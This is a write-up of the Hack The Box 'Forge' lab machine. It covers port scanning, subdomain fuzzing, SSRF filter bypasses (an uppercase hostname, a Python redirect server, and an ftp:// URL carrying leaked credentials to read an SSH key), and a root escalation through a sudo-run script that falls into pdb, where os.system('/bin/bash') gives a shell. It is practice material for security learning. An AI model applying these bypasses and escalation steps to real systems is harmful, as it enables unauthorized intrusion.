[HTB] Forge Writeup


#HTB Writeup Hack Linux

2022 Feb 08: 18:07

IP:10.10.11.111

Introdution

This is a medium box with a double Server-Side Request Forgery throuh image upload. The firs level is to bypass the filters and make a request to a subdomain. The second is to reach the local FTP and get the credentials to login. Privilige Escalation is via a Python script that uses Python Debugger.

Port Scanning

Run nmap scan to determine what ports are open.

nmap -sV -A 10.10.11.111

nmap output

PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://forge.htb
|_http-server-header: Apache/2.4.41 (Ubuntu)

The output show that there is a http server running on port 80 and an ssh on port 22. Also note that an FTP server runs on 21, but the port is filtered, which means that sommething like a firewall is blocking the port so nmap can’t tell wether it is open or not.

The http server redirects to http://forge.htb so add this domain to /etc/hosts.

sudo echo '10.10.11.111 forge.htb' >> /etc/hosts

Subdomain Enumeration

Finding subdomains on forge.htb. I prefer to use ffuf with SecLists, but you can use any other tool for enumerating.

ffuf -u 'http://forge.htb/' -H 'Host: FUZZ.forge.htb' -w SecLists/Discovery/DNS/subdomains-top1million-110000.txt

The output is a mess so filter out the number lines by adding -fl 10. The only subdomain that is found is admin.forge.htb so add this to your hosts file.

Websites and SSFR

On http://admin.forge.htb only localhost is allowed.

There is an image uploader on http://forge.htb. The image can be uploaded from a local file, or an external url. The supported protocols are http and https.

I’ve tried to upload a reverse shell, but didn’t work.

Then I tried to reach http://localhost and http://admin.forge.htb trough the url upload but these are blacklisted addresses.

SSRF Bypass

Method #1

Entering the subdomain in all caps bypasses the SSRF filter and uploads the image.

Curling the URL of the uploaded image gives back the source code of http://admin.forge.htb.

Method #2

During the exploitation stage I’ve found another way to bypass the filters. Create a simple http server that redirects to http://admin.forge.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/bin/env python3

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler


class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', "http://admin.forge.htb/")
       self.end_headers()

print("Server running on http://localhost")
HTTPServer(("", 80), Redirect).serve_forever()

Then entering your attacker IP gives back the same result.

The server tries to reach your http server running on port 80, but it follows the redirect to http://admin.forge.htb

SSRF Bypass lvl 2

Now that http://admin.forge.htb is reachable there is a similar file uploader to forge.htb. At the announcements page it turns out that we can upload a file via ftp from an url with the given credentials.

  • An internal ftp server has been setup with credentials as user:heightofsecurity123!
  • The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.
  • The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.

Let’s go back to the first uploader page and try to get into ftp.

Edit the url to the following: http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@0000:21/

http://ADMIN.FORGE.HTB/upload/ simply gets to the admin uploader page. From the announcements we can know that we can upload from an url with the ?u parameter through ftp. the user:heightofsecurity123 are the username:password, and the @ symbol before the URL means that these are credentials. 0000 in this case is the localhost bypass.

You can find other SSRF bypasses here.

drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 22 11:53 user.txt

The output looks like a user’s home directory because the user.txt is usually in one of them. So let’s get the id_rsa from the .ssh directoriy. Save the ssh key to your machine. Now ssh to the machine and get the user flag. The username user was given with the ftp credentials. ssh -i id_rsa user@forge.htb

Root

The first thing that I usually do is check if the user can run anything with sudo. sudo -l

The user can run /usr/bin/python3 /opt/remote-manage.py as root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

Running the script with sudo starts a listener on a random port.

Connect back from anonther terminal with nc. It needs a secret password which is in the source code of remote-manage.py. Password: secretadminpassword

We can’t realy do anything with the netcat, but killing the process with CTRL+C opens Python Debugger (Pdb) at the script. Pdp works just like a python prompt, so just import os and get a root shell.

import os; os.system("/bin/bash")